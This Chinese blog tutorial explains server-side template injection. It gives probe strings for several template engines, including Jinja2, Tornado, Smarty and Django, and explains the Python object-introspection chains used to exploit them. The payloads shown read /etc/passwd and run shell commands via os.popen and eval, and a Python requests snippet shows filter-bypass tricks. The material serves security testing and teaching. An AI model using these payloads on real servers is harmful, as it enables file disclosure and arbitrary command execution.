美文网首页
3.11 模板注入

3.11 模板注入

作者: 最酷的崽_ec69 | 来源:发表于2019-12-02 16:51 被阅读0次

3.11.1. 简介

  模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。

3.11.2. 测试方法

  • 确定使用的引擎
  • 查看引擎相关的文档,确定其安全机制以及自带的函数和变量
  • 需找攻击面,尝试攻击

3.11.3. 测试用例

  • 简单的数学表达式,{{ 7+7 }} => 14
  • 字符串表达式 {{ "ajin" }} => ajin
  • Ruby
    • <%= 7 * 7 %>
    • <%= File.open('/etc/passwd').read %>
  • Java
    • ${7*7}
  • Twig
    • {{7*7}}
  • Smarty
    • {php}echoid;{/php}
  • AngularJS
    • $eval('1+1')
  • Tornado
    • 引用模块 {% import module %}
    • => {% import os %}{{ os.popen("whoami").read() }}
  • Flask/Jinja2
    • {{ config.items() }}
    • {{''.__class__.__mro__[-1].__subclasses__()}}
  • Django
    • {{ request }}
    • {% debug %}
    • {% load module %}
    • {% include "x.html" %}
    • {% extends "x.html" %}

3.11.4. 目标

  • 创建对象
  • 文件读写
  • 远程文件包含
  • 信息泄漏
  • 提权

3.11.5. 相关属性

3.11.5.1. __class__

  python中的新式类(即显示继承object对象的类)都有一个属性 __class__ 用于获取当前实例对应的类,例如 "".__class__ 就可以获取到字符串实例对应的类

3.11.5.2. __mro__

  python中类对象的 __mro__ 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。

3.11.5.3. __globals__

  保存了函数所有的所有全局变量,在利用中,可以使用 __init__ 获取对象的函数,并通过 __globals__ 获取 file os 等模块以进行下一步的利用

3.11.5.4. __subclasses__()

  python的新式类都保留了它所有的子类的引用,__subclasses__() 这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。
  因为python中的类都是继承object的,所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。

3.11.6. 常见Payload

  • ().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
  • ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )

3.11.7. 绕过技巧

3.11.7.1. 字符串拼接

  request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]

3.11.7.2. 使用参数绕过

params = {
    'clas': '__class__',
    'mr': '__mro__',
    'subc': '__subclasses__'
}
data = {
    "data": "{{''[request.args.clas][request.args.mr][1][request.args.subc]()}}"
}
r = requests.post(url, params=params, data=data)
print(r.text)

3.11.8. 参考链接

相关文章

  • 3.11 模板注入

    3.11.1. 简介   模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网...

  • 攻防世界(进阶)--WEB--7.Web_python_temp

    考察点:模板注入 1.模板检测:{{7+7}} 7+7=14,确实是模板注入 2.查看服务器配置信息:{{''._...

  • BUUCTF/护网杯 easy_tornado 模板注入

    首先简单认识一下模板注入 模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,这里我们使用 PHP 模...

  • SSTI模板注入

    SSTI是个啥? SSTI即(server-side template injection)服务器模板,平时我们常...

  • SSTI模板注入

    前言 开局一张图,姿势全靠yy 模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升...

  • Web Hacking 101 中文版 十六、模板注入

    十六、模板注入 作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0 模板引擎是允...

  • 【代码审计】模板注入

    0x00 介绍 这里主要学习下 FreeMarker 模板注入,FreeMarker 是一款模板引擎,FreeMa...

  • 3月第2周检视

    本周总结3.11-3.17: 1.调整每天好记模板,更简单,更真实。坚持下来。 2.早睡早起。早起被提醒1次、因为...

  • Doctor(模板注入,Splunk)

    免责声明 本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用,请不要将文中使用的工具和渗透思路用于任...

  • 引入模板引擎thymeleaf

    1、pom.xml 注入模板引擎thymeleaf依赖,切换thymeleaf版本为3.0 2、thymeleaf...

网友评论

      本文标题:3.11 模板注入

      本文链接:https://www.haomeiwen.com/subject/lzpwvctx.html